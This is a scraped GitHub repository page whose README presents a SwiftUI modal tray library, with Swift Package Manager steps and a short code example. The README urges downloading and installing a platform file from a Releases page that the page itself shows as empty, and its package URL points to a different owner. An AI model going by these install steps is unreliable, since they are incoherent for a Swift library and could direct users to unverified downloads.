Skip to content

๐Ÿ› ๏ธ Create modern modal tray interfaces in SwiftUI with smooth navigation, dynamic height, and customizable animations for a seamless user experience.

Notifications You must be signed in to change notification settings

CamboMinecraft/Tray

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

11 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐ŸŽ‰ Tray - Easy Modal Interfaces for SwiftUI

๐Ÿš€ Getting Started

Download Tray

Welcome to Tray! This guide will help you to download and run the Tray library for your SwiftUI projects. Tray makes it easy to create smooth modal tray interfaces on iOS.

๐Ÿ“ฅ Download & Install

To get Tray, visit this page to download: GitHub Releases. You will find the latest version available for download there.

  1. Go to the Releases page.
  2. Locate the latest release version.
  3. Download the relevant file for your platform.
  4. Follow the instructions to install it on your device.

๐Ÿ› ๏ธ Installation Instructions

Adding Tray to Your Project

To use Tray in your SwiftUI application, you will need to add it as a dependency. You can do this using Swift Package Manager. Hereโ€™s how:

  1. Open your Xcode project.
  2. Click on File > Swift Packages > Add Package Dependency.
  3. Enter the following URL in the search bar:
    https://github.com/Archetapp/Tray
    
  4. Select the main branch and click "Next" to complete the addition.

Using Tray in Your App

Once you have installed Tray, you can start using it right away. Hereโ€™s a simple example of how to show a basic modal tray:

import SwiftUI

struct ContentView: View {
    @State private var showTray = false

    var body: some View {
        Button("Show Tray") {
            showTray = true
        }
        .tray(isPresented: $showTray, title: "Welcome") {
            Text("Hello from Tray!")
        }
    }
}

This example demonstrates how to create a button that, when clicked, will present a modal tray with a welcoming message.

๐ŸŒŸ Features

Tray includes several features that enhance user experience:

  • Flexible Navigation: Easily navigate between different views using TrayNavigationLink.
  • Dynamic Height: The tray adjusts automatically to fit your content.
  • Smooth Animations: Enjoy transitions and animations that you can customize.
  • Per-Page Control: Manage the visibility and style of navigation based on individual pages.
  • Environment Configuration: Set global styles using environment modifiers for consistency.

๐Ÿ”ง System Requirements

Tray requires the following:

  • Xcode Version: You need Xcode 12 or later.
  • iOS Version: Minimum iOS 14 or later.
  • Swift Version: Swift 5 is recommended, but earlier versions may work.

๐Ÿ“„ Documentation

For detailed information on how to use Tray, refer to the official documentation available on the repository. It includes in-depth guides, examples, and advanced configurations to make the most out of the library.

๐Ÿ†˜ Support

If you encounter any issues or have questions, feel free to open an issue on the GitHub repository. The community and the maintainers are here to help you.

๐Ÿ’ผ Contribution

We welcome contributions! If you wish to contribute to Tray, please refer to the contribution guidelines in the repository for details on how to get started.

๐ŸŽ‰ Conclusion

With Tray, creating modern modal interfaces in SwiftUI becomes straightforward and efficient. Follow this guide to get started, and explore the possibilities with mobile UI development!

Donโ€™t forget to check for updates frequently to enjoy the latest features and improvements. Happy coding!

Download Tray

About

๐Ÿ› ๏ธ Create modern modal tray interfaces in SwiftUI with smooth navigation, dynamic height, and customizable animations for a seamless user experience.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages